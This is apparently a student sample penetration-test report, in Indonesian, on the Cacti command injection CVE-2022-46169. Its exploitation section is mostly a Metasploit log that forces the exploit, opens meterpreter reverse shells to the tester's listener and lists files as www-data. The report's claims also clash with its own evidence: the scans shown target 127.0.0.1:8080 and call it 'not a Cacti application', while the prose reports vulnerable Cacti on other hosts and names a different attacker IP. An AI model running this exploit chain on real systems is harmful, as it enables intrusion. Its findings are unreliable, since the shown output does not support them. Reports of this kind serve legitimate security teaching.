



UNIVERSITAS GADJAH MADA



# Sample Penetration Test Report Example Company

---

Company: Penelitian Damas 2024

Authors: N.R. Rosyid, Y. M. Saputra, Anni K. Fauziyah, Yoan Navie Ananda

Date: 23 October 2025

Version 1.0



## Pendahuluan

Laporan ini disusun sebagai hasil pengujian penetrasi terhadap CVE-2022-46169, sebuah kerentanan yang ditemukan dalam perangkat lunak Cacti. Kerentanan ini memungkinkan serangan tanpa autentikasi untuk melakukan eksekusi perintah sistem secara sewenang-wenang pada server yang menjalankan Cacti. Dalam laporan ini, kami akan memberikan detail mengenai temuan kerentanan CVE-2022-46169 yang kami identifikasi selama penilaian. Kami akan menjelaskan dengan rinci potensi dampak dan risiko yang terkait dengan kerentanan ini, serta memberikan rekomendasi tindakan untuk memperbaiki kerentanan tersebut dan meningkatkan keamanan sistem secara menyeluruh.

## Ruang Lingkup

Evaluasi keamanan sistem informasi pada Cacti dilakukan di lingkungan produksi dengan melakukan upaya peretasan berdasarkan kerentanan yang ditemukan. Host dan alamat IP yang diuji adalah sebagai berikut:

- - Host: Sistem Utama, IP: 10.33.102.224
- - Host: Target, IP: 10.33.102.225
- - Host: Target, IP: 10.33.102.226

## Metodologi

Metodologi yang digunakan dalam pengujian penetrasi ini terdiri dari beberapa tahap yang sistematis untuk memastikan pengujian yang menyeluruh dan efektif. Tahap-tahap ini meliputi information gathering, vulnerability scanning, vulnerability analysis, vulnerability exploitation, recommendation and reporting. Metodologi ini dirancang untuk mengidentifikasi dan mengatasi potensi celah keamanan dalam sistem secara menyeluruh.

## Identifikasi Kerentanan

Pemindaian menggunakan Nmap pada alamat IP 10.33.102.212, 10.33.102.225, dan 10.33.102.226 dilakukan dengan perintah `nmap -sV -sC -Pn --script http-title -iL targets.txt -oN nmap_results.txt`. Perintah ini digunakan untuk memindai jaringan terhadap sejumlah alamat IP yang terdaftar dalam file targets.txt. Hasil pemindaian mencakup identifikasi versi perangkat lunak yang berjalan, eksekusi skrip otomatis untuk analisis keamanan, dan pengambilan judul halaman utama dari server web yang terdeteksi. Informasi hasil pemindaian akan disimpan dalam file nmap\_results.txt untuk referensi dan analisis lebih lanjut.

```
# Nmap 7.97 scan initiated Thu Oct 23 06:21:37 2025 as: nmap -sV -Pn --script http-enum -oN nmap_results.txt 127.0.0.1
```

```
Nmap scan report for localhost (127.0.0.1)
```

```
Host is up (0.000039s latency).
```

```
Not shown: 999 closed tcp ports (conn-refused)
```

```
PORT      STATE SERVICE VERSION
```

```
8080/tcp  open  http    Apache httpd 2.4.54 ((Debian))
```

```
|_http-server-header: Apache/2.4.54 (Debian)
```



| http-enum:

|\_ /docs/: Potentially interesting folder

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

# Nmap done at Thu Oct 23 06:21:45 2025 -- 1 IP address (1 host up) scanned in 7.93 seconds

Hasil pemindaian menunjukkan bahwa pada alamat IP 10.33.102.225:

- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.2p1 pada Ubuntu.
- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.54 pada Debian, judul halamannya adalah 'Login to Cacti'.
- Sistem operasi yang terdeteksi adalah Linux.

Pada alamat IP 10.33.102.226:

- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.9p1 pada Ubuntu.
- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.52 pada Ubuntu, judul halamannya adalah 'Login to Cacti'.
- Sistem operasi yang terdeteksi adalah Linux.

Informasi hasil pemindaian ini disimpan dalam file nmap\_results.txt untuk referensi dan analisis lebih lanjut.

## Vulnerability Scanning

Vulnerability scanning dilakukan menggunakan perangkat lunak Metasploit. Metasploit adalah open-source, platform pengujian penetrasi berbasis Ruby yang memungkinkan pengguna untuk menulis, menguji, dan mengeksekusi kode eksploit. Sistem pengujian penetrasi atau pengujian pena bekerja dengan mensimulasikan serangan cyber untuk memeriksa kerentanan yang rentan. Dibawah ini menampilkan hasil dari pemindaian kerentanan yang ditemukan oleh Metasploit.

===== Vulnerability scanning result of target 127.0.0.1

[\*] Using configured payload linux/x86/meterpreter/reverse\_tcp

RHOSTS => 127.0.0.1

RPORT => 8080

TARGETURI => /cacti

[\*] 127.0.0.1:8080 - The target is not exploitable. Target is not a Cacti application.



Metasploit melakukan pemindaian kerentanan pada target sistem dan berhasil mengidentifikasi bahwa alamat IP 10.33.102.225, pada port 80, menjalankan aplikasi Cacti versi 1.2.22 yang rentan, dengan celah keamanan yang dapat dieksploitasi. Sementara itu, target dengan alamat IP 10.33.102.226 menjalankan aplikasi Cacti versi 1.2.27 yang tidak rentan terhadap eksploitasi yang sama seperti versi sebelumnya, mungkin karena telah diperbarui atau diperbaiki untuk menutup kerentanan yang ada pada versi 1.2.22.

## Vulnerability Exploitation

Pada bagian ini, dilakukan beberapa serangan untuk menguji kerentanan yang telah diidentifikasi sebelumnya. Serangan pertama adalah eksploitasi kerentanan Command Injection pada aplikasi Cacti menggunakan Metasploit. Langkah ini dilakukan untuk memanfaatkan celah keamanan yang ditemukan dalam versi 1.2.22 dari Cacti, dengan tujuan memperoleh akses ilegal ke dalam sistem yang rentan. Metasploit berhasil mengeksploitasi kerentanan yang ada pada aplikasi Cacti versi 1.2.22 yang dijalankan pada alamat IP 10.33.102.225 dengan menggunakan port 80. Dalam proses eksploitasi ini, Metasploit menggunakan payload linux/x86/meterpreter/reverse\_tcp untuk menciptakan koneksi TCP terbalik dari target ke alamat IP Metasploit (10.33.102.224) pada port 4444. Meskipun awalnya eksploitasi tidak menghasilkan sesi Meterpreter, setelah beberapa upaya tambahan termasuk bruteforce terhadap `host_id` dan `local_data_id`, Metasploit berhasil memperoleh akses.

Hasilnya, sesi Meterpreter berhasil dibuka, memberikan penyerang kontrol penuh terhadap sistem target. Melalui sesi ini, penyerang menggunakan perintah `ls -la` untuk menjelajahi isi direktori dari perspektif pengguna `www-data`. Informasi yang diperoleh dari hasil eksekusi perintah tersebut memungkinkan penyerang untuk memahami struktur file serta hak akses yang terkait dengan aplikasi Cacti yang disusupi.

10.33.102.225

```
[*] Processing exploitResource.rc for ERB directives.
resource (exploitResource.rc)> use exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
resource (exploitResource.rc)> set RHOSTS 10.33.102.225
RHOSTS => 10.33.102.225
resource (exploitResource.rc)> set RPORT 80
RPORT => 80
resource (exploitResource.rc)> set LHOST 10.33.102.151
LHOST => 10.33.102.151
resource (exploitResource.rc)> set TARGETURI /cacti
TARGETURI => /cacti
resource (exploitResource.rc)> set ForceExploit True
ForceExploit => true
resource (exploitResource.rc)> exploit -j
[*] Exploit running as background job 0.
```



```
[*] Exploit completed, but no session was created.
resource (exploitResource.rc)> sleep 20
[*] Started reverse TCP handler on 10.33.102.151:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The target is not exploitable. Target is not a Cacti application. ForceExploit is enabled,
proceeding with exploitation.
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500
combinations
[*] Enumerating local_data_id values for host_id 1
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Sending stage (1017704 bytes) to 10.33.102.225
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Meterpreter session 2 opened (10.33.102.151:4444 -> 10.33.102.225:50312) at 2025-08-21
07:58:17 +0700
[*] Meterpreter session 1 opened (10.33.102.151:4444 -> 10.33.102.225:50306) at 2025-08-21
07:58:17 +0700
[*] Meterpreter session 3 opened (10.33.102.151:4444 -> 10.33.102.225:50320) at 2025-08-21
07:58:18 +0700
[*] Meterpreter session 4 opened (10.33.102.151:4444 -> 10.33.102.225:50330) at 2025-08-21
07:58:18 +0700
[*] Meterpreter session 6 opened (10.33.102.151:4444 -> 10.33.102.225:50342) at 2025-08-21
07:58:19 +0700
resource (exploitResource.rc)> sessions -i
```

#### Active sessions

=====

Id	Name	Type	Information	Connection
1	meterpreter	x86/linux	www-data @ 172.23.0.3	10.33.102.151:4444 -> 10.33.102.225:50306 (10.33.102.225)
2	meterpreter	x86/linux	www-data @ 172.23.0.3	10.33.102.151:4444 -> 10.33.102.225:50312 (10.33.102.225)
3	meterpreter	x86/linux	www-data @ 172.23.0.3	10.33.102.151:4444 -> 10.33.102.225:50320 (10.33.102.225)
4	meterpreter	x86/linux	www-data @ 172.23.0.3	10.33.102.151:4444 -> 10.33.102.225:50330 (10.33.102.225)



5 meterpreter x86/linux 10.33.102.151:4444 -> 10.33.102.225:50332  
(10.33.102.225)

6 meterpreter x86/linux www-data @ 172.23.0.3 10.33.102.151:4444 ->  
10.33.102.225:50342 (10.33.102.225)

resource (exploitResource.rc)> sessions -c 'ls -la' -i 1

[\*] Running 'ls -la' on meterpreter session 1 (10.33.102.225)

total 2820

```
drwxr-xr-x 1 www-data www-data 4096 Jul 31 00:56 .
drwxrwxrwx 1 www-data www-data 4096 Jul 30 07:05 ..
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 .git
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 .github
-rw-r--r-- 1 www-data www-data 1577 Jul 30 07:05 .gitignore
-rw-r--r-- 1 www-data www-data 577 Jul 30 07:05 .mdl_style.rb
-rw-r--r-- 1 www-data www-data 60 Jul 30 07:05 .mdlrc
-rw----- 1 www-data www-data 1024 Jul 31 00:56 .rnd
-rw-r--r-- 1 www-data www-data 3795 Jul 30 07:05 .travis.yml
-rw-r--r-- 1 www-data www-data 254887 Jul 30 07:05 CHANGELOG
-rw-r--r-- 1 www-data www-data 15171 Jul 30 07:05 LICENSE
-rw-r--r-- 1 www-data www-data 11318 Jul 30 07:05 README.md
-rw-r--r-- 1 www-data www-data 4341 Jul 30 07:05 about.php
-rw-r--r-- 1 www-data www-data 63112 Jul 30 07:05 aggregate_graphs.php
-rw-r--r-- 1 www-data www-data 18586 Jul 30 07:05 aggregate_items.php
-rw-r--r-- 1 www-data www-data 25705 Jul 30 07:05 aggregate_templates.php
-rw-r--r-- 1 www-data www-data 14677 Jul 30 07:05 auth_changepassword.php
-rw-r--r-- 1 www-data www-data 15221 Jul 30 07:05 auth_login.php
-rw-r--r-- 1 www-data www-data 19044 Jul 30 07:05 auth_profile.php
-rw-r--r-- 1 www-data www-data 24203 Jul 30 07:05 automation_devices.php
-rw-r--r-- 1 www-data www-data 36742 Jul 30 07:05 automation_graph_rules.php
-rw-r--r-- 1 www-data www-data 42897 Jul 30 07:05 automation_networks.php
-rw-r--r-- 1 www-data www-data 31517 Jul 30 07:05 automation_snmp.php
-rw-r--r-- 1 www-data www-data 18773 Jul 30 07:05 automation_templates.php
-rw-r--r-- 1 www-data www-data 38723 Jul 30 07:05 automation_tree_rules.php
-rwxr-xr-x 1 www-data www-data 2959 Jul 30 07:05 boost_rrdupdate.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 cache
-rw-r--r-- 1 www-data www-data 126187 Jul 30 07:05 cacti.sql
-rwxr-xr-x 1 www-data www-data 8077 Jul 30 07:05 cactid.php
-rw-r--r-- 1 www-data www-data 29268 Jul 30 07:05 cdef.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 cli
-rw-r--r-- 1 www-data www-data 1934 Jul 30 07:05 clog.php
-rw-r--r-- 1 www-data www-data 1940 Jul 30 07:05 clog_user.php
-rwxr-xr-x 1 www-data www-data 33597 Jul 30 07:05 cmd.php
```



```
-rw-r--r-- 1 www-data www-data 8843 Jul 30 07:05 cmd_realtime.php
-rw-r--r-- 1 www-data www-data 24350 Jul 30 07:05 color.php
-rw-r--r-- 1 www-data www-data 24889 Jul 30 07:05 color_templates.php
-rw-r--r-- 1 www-data www-data 13259 Jul 30 07:05 color_templates_items.php
-rw-r--r-- 1 www-data www-data 34558 Jul 30 07:05 data_debug.php
-rw-r--r-- 1 www-data www-data 35500 Jul 30 07:05 data_input.php
-rw-r--r-- 1 www-data www-data 49788 Jul 30 07:05 data_queries.php
-rw-r--r-- 1 www-data www-data 37433 Jul 30 07:05 data_source_profiles.php
-rw-r--r-- 1 www-data www-data 67358 Jul 30 07:05 data_sources.php
-rw-r--r-- 1 www-data www-data 47694 Jul 30 07:05 data_templates.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 docs
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 formats
-rw-r--r-- 1 www-data www-data 14319 Jul 30 07:05 gprint_presets.php
-rw-r--r-- 1 www-data www-data 22061 Jul 30 07:05 graph.php
-rw-r--r-- 1 www-data www-data 5764 Jul 30 07:05 graph_image.php
-rw-r--r-- 1 www-data www-data 9136 Jul 30 07:05 graph_json.php
-rw-r--r-- 1 www-data www-data 17525 Jul 30 07:05 graph_realtime.php
-rw-r--r-- 1 www-data www-data 41401 Jul 30 07:05 graph_templates.php
-rw-r--r-- 1 www-data www-data 9586 Jul 30 07:05 graph_templates_inputs.php
-rw-r--r-- 1 www-data www-data 30755 Jul 30 07:05 graph_templates_items.php
-rw-r--r-- 1 www-data www-data 32392 Jul 30 07:05 graph_view.php
-rw-r--r-- 1 www-data www-data 12466 Jul 30 07:05 graph_xport.php
-rw-r--r-- 1 www-data www-data 88406 Jul 30 07:05 graphs.php
-rw-r--r-- 1 www-data www-data 26995 Jul 30 07:05 graphs_items.php
-rw-r--r-- 1 www-data www-data 35613 Jul 30 07:05 graphs_new.php
-rw-r--r-- 1 www-data www-data 3727 Jul 30 07:05 help.php
-rw-r--r-- 1 www-data www-data 67581 Jul 30 07:05 host.php
-rw-r--r-- 1 www-data www-data 30239 Jul 30 07:05 host_templates.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 images
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:06 include
-rw-r--r-- 1 www-data www-data 5721 Jul 30 07:05 index.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 install
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 lib
-rw-r--r-- 1 www-data www-data 3495 Jul 30 07:05 link.php
-rw-r--r-- 1 www-data www-data 21889 Jul 30 07:05 links.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 locales
drwxr-xr-x 1 www-data www-data 4096 Jul 31 00:56 log
-rw-r--r-- 1 www-data www-data 4666 Jul 30 07:05 logout.php
-rw-r--r-- 1 www-data www-data 38081 Jul 30 07:05 managers.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 mibs
-rw-r--r-- 1 www-data www-data 3410 Jul 30 07:05 permission_denied.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 plugins
```



```
-rw-r--r-- 1 www-data www-data 28268 Jul 30 07:05 plugins.php
-rwxr-xr-x 1 www-data www-data 35920 Jul 30 07:05 poller.php
-rwxr-xr-x 1 www-data www-data 38581 Jul 30 07:05 poller_automation.php
-rwxr-xr-x 1 www-data www-data 35791 Jul 30 07:05 poller_boost.php
-rwxr-xr-x 1 www-data www-data 7095 Jul 30 07:05 poller_commands.php
-rwxr-xr-x 1 www-data www-data 11602 Jul 30 07:05 poller_dsstats.php
-rwxr-xr-x 1 www-data www-data 20170 Jul 30 07:05 poller_maintenance.php
-rwxr-xr-x 1 www-data www-data 9881 Jul 30 07:05 poller_realtime.php
-rwxr-xr-x 1 www-data www-data 8830 Jul 30 07:05 poller_recovery.php
-rwxr-xr-x 1 www-data www-data 5722 Jul 30 07:05 poller_reports.php
-rwxr-xr-x 1 www-data www-data 8273 Jul 30 07:05 poller_spikekill.php
-rw-r--r-- 1 www-data www-data 39278 Jul 30 07:05 pollers.php
-rw-r--r-- 1 www-data www-data 14552 Jul 30 07:05 remote_agent.php
-rw-r--r-- 1 www-data www-data 5309 Jul 30 07:05 reports_admin.php
-rw-r--r-- 1 www-data www-data 5210 Jul 30 07:05 reports_user.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 resource
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 rra
-rw-r--r-- 1 www-data www-data 20183 Jul 30 07:05 rrdcleaner.php
-rw-r--r-- 1 www-data www-data 11907 Jul 30 07:05 script_server.php
drwxr-xr-x 1 www-data www-data 4096 Jul 31 00:55 scripts
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 service
-rw-r--r-- 1 www-data www-data 1728 Jul 30 07:05 service_check.php
-rw-r--r-- 1 www-data www-data 43453 Jul 30 07:05 settings.php
-rw-r--r-- 1 www-data www-data 20567 Jul 30 07:05 sites.php
-rw-r--r-- 1 www-data www-data 2414 Jul 30 07:05 snmpagent_mibcache.php
-rw-r--r-- 1 www-data www-data 3688 Jul 30 07:05 snmpagent_mibcachechild.php
-rwxr-xr-x 1 www-data www-data 5510 Jul 30 07:05 snmpagent_persist.php
-rw-r--r-- 1 www-data www-data 3987 Jul 30 07:05 spikekill.php
-rw-r--r-- 1 www-data www-data 6597 Jul 30 07:05 templates_export.php
-rw-r--r-- 1 www-data www-data 6263 Jul 30 07:05 templates_import.php
drwxr-xr-x 1 www-data www-data 4096 Jul 30 07:05 tests
-rw-r--r-- 1 www-data www-data 64922 Jul 30 07:05 tree.php
-rw-r--r-- 1 www-data www-data 99936 Jul 30 07:05 user_admin.php
-rw-r--r-- 1 www-data www-data 29909 Jul 30 07:05 user_domains.php
-rw-r--r-- 1 www-data www-data 89318 Jul 30 07:05 user_group_admin.php
-rw-r--r-- 1 www-data www-data 104198 Jul 30 07:05 utilities.php
-rw-r--r-- 1 www-data www-data 28883 Jul 30 07:05 vdef.php
resource (exploitResource.rc)> sleep 10
resource (exploitResource.rc)> exit
[*] You have active sessions open, to exit anyway type "exit -y"
resource (exploitResource.rc)> exit -y
```





### **Recommendation**

Untuk mengurangi risiko dari CVE-2022-46169, disarankan untuk mengambil langkah-langkah berikut:

- Memperbarui Cacti ke versi terbaru yang tersedia.
- Menerapkan aturan firewall yang membatasi akses ke layanan Cacti.
- Melakukan evaluasi keamanan secara berkala dan pengujian penetrasi untuk mengidentifikasi dan mengatasi kerentanan.
- Menerapkan kebijakan sandi yang kuat dan menghindari penggunaan kredensial default.
- Rutin memperbarui perangkat untuk mengatasi masalah keamanan.